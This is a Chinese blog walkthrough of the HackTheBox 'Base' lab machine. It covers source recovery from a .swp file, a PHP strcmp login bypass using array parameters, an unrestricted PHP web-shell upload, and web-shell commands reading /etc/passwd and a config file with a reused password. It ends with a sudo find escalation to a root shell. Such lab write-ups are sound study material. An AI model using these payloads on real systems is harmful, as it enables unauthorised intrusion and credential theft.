HackTheBox Base

0x000 信息收集


获取到ip

探测端口

nmap -sV -p- 10.129.154.64 --min-rate 5000 -o base

源码泄露

通过接下来两道问题,发现可以遍历网站的/login目录 ,发现如下三个文件,查看前面两个,一个是登陆界面,一个无法空白页面,只有存.swp文件寻找突破口了

.swp文件是因为在编辑文件过程中,由于断电或Ctrl+Z导致退出文件编辑,从而产生的文件,所以,我们有机会从.swp文件中获取login.php的源代码

strings login.php.swp

0x001 漏洞利用


PHP strcmp 后台登陆绕过

发现login.php登陆验证是由strcmp()参数来进行对比的,因此使用username[]=admin&password[]=admin就可以绕过登陆。

PHP strcmp 绕过:https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016

使用burpsuite截包,然后改为如下,发送即可绕过登陆。

任意文件上传

发现登陆之后的页面是一个文件上传。

直接上传了一个php后门文件,发现没有被过滤,接下来就是找文件保存路径了。

目录扫描找一下文件保存路径

gobuster dir -u http://10.129.154.64/ -w /usr/share/wordlists/dirb/big.txt

查看当前权限,发现是www-data

payload:http://10.129.154.64/_uploaded/shell.php?cmd=cat /etc/passwd

查看/etc/passwd文件,发现用户john

payload:http://10.129.154.64/_uploaded/shell.php?cmd=cat%20../login/config.php

thisisagoodpassword

0x002 提权


获取john用户权限

此时猜测这个密码会不会也是john用户的密码,尝试ssh登陆一下

好家伙,还真是,成功获取john用户的权限

find提权

使用sudo -l看看有什么惊喜,发现john用户能以root用户的身份运行find,此时提权这件事就变得简单了

此时,掏出祖传的网址查询提权命令即可:https://gtfobins.github.io/gtfobins/find/

sudo /usr/bin/find -exec /bin/bash -p ; -quit

0x003 flag


posted @ 2023-02-20 21:03  Cx330Lm  阅读(15)  评论(0编辑  收藏  举报